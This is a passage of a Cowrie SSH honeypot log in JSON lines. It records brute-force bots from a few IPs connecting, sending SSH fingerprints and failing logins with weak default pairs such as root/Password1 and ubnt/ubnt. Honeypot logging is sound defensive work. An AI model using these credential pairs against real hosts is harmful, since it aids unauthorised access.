aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:37.674057Z","src_ip":"162.243.147.237","session":"d2f6b95d557f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql@1234","message":"login attempt [mysql/mysql@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:37.846859Z","src_ip":"43.163.119.215","session":"48ec1fa54675","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2084","message":"login attempt [root/2084] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:37.990376Z","src_ip":"162.243.147.237","session":"d2f6b95d557f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:39.063995Z","src_ip":"162.243.147.237","session":"d2f6b95d557f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:39.087370Z","src_ip":"43.163.119.215","session":"48ec1fa54675","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":46602,"dst_ip":"10.17.0.5","dst_port":22,"session":"01dc6fd38a5d","protocol":"ssh","message":"New connection: 43.163.119.215:46602 (10.17.0.5:22) [session: 01dc6fd38a5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:40.822609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:40.831256Z","src_ip":"43.163.119.215","session":"01dc6fd38a5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:41.077181Z","src_ip":"43.163.119.215","session":"01dc6fd38a5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123","message":"login attempt [deploy/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:41.813844Z","src_ip":"43.163.119.215","session":"01dc6fd38a5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:43.063735Z","src_ip":"43.163.119.215","session":"01dc6fd38a5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":41076,"dst_ip":"10.17.0.5","dst_port":22,"session":"c23a14fc957c","protocol":"ssh","message":"New connection: 43.163.119.215:41076 (10.17.0.5:22) [session: c23a14fc957c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:49.005069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:49.010830Z","src_ip":"43.163.119.215","session":"c23a14fc957c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:49.248434Z","src_ip":"43.163.119.215","session":"c23a14fc957c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esearch","password":"esearch","message":"login attempt [esearch/esearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:49.960805Z","src_ip":"43.163.119.215","session":"c23a14fc957c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":44720,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d1237638d17","protocol":"ssh","message":"New connection: 103.75.199.4:44720 (159.203.135.109:22) [session: 3d1237638d17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:50.604625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:50.608959Z","src_ip":"103.75.199.4","session":"3d1237638d17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:50.699763Z","src_ip":"103.75.199.4","session":"3d1237638d17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password1","message":"login attempt [root/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:50.974956Z","src_ip":"103.75.199.4","session":"3d1237638d17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:51.200384Z","src_ip":"43.163.119.215","session":"c23a14fc957c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:52.068796Z","src_ip":"103.75.199.4","session":"3d1237638d17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":52630,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b379a354050","protocol":"ssh","message":"New connection: 43.163.119.215:52630 (10.17.0.5:22) [session: 4b379a354050]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:53.649379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:53.654301Z","src_ip":"43.163.119.215","session":"4b379a354050","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:53.893085Z","src_ip":"43.163.119.215","session":"4b379a354050","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test!@","message":"login attempt [test/test!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:54.617464Z","src_ip":"43.163.119.215","session":"4b379a354050","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:55.859600Z","src_ip":"43.163.119.215","session":"4b379a354050","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":52622,"dst_ip":"10.17.0.5","dst_port":22,"session":"fdc283170ec8","protocol":"ssh","message":"New connection: 43.163.119.215:52622 (10.17.0.5:22) [session: fdc283170ec8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:59.502226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:59.506998Z","src_ip":"43.163.119.215","session":"fdc283170ec8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:59.748517Z","src_ip":"43.163.119.215","session":"fdc283170ec8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0000","message":"login attempt [root/0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:00.463325Z","src_ip":"43.163.119.215","session":"fdc283170ec8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:01.704989Z","src_ip":"43.163.119.215","session":"fdc283170ec8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":48948,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1c87fb2feab","protocol":"ssh","message":"New connection: 43.163.119.215:48948 (10.17.0.5:22) [session: a1c87fb2feab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:02.317988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:02.322825Z","src_ip":"43.163.119.215","session":"a1c87fb2feab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:02.563968Z","src_ip":"43.163.119.215","session":"a1c87fb2feab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prefect","password":"prefect","message":"login attempt [prefect/prefect] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:03.281169Z","src_ip":"43.163.119.215","session":"a1c87fb2feab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":45724,"dst_ip":"10.17.0.5","dst_port":22,"session":"3938c11856c7","protocol":"ssh","message":"New connection: 43.163.119.215:45724 (10.17.0.5:22) [session: 3938c11856c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:04.182514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:04.186940Z","src_ip":"43.163.119.215","session":"3938c11856c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:04.433454Z","src_ip":"43.163.119.215","session":"3938c11856c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:04.521401Z","src_ip":"43.163.119.215","session":"a1c87fb2feab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubnt","message":"login attempt [ubnt/ubnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:05.174826Z","src_ip":"43.163.119.215","session":"3938c11856c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":45734,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf9907112b74","protocol":"ssh","message":"New connection: 43.163.119.215:45734 (10.17.0.5:22) [session: cf9907112b74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:05.437830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:05.443164Z","src_ip":"43.163.119.215","session":"cf9907112b74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:05.673115Z","src_ip":"43.163.119.215","session":"cf9907112b74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1234","message":"login attempt [user1/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:06.365623Z","src_ip":"43.163.119.215","session":"cf9907112b74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:06.424923Z","src_ip":"43.163.119.215","session":"3938c11856c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:02:07.600402Z","src_ip":"43.163.119.215","session":"cf9907112b74","protocol":"ssh"}
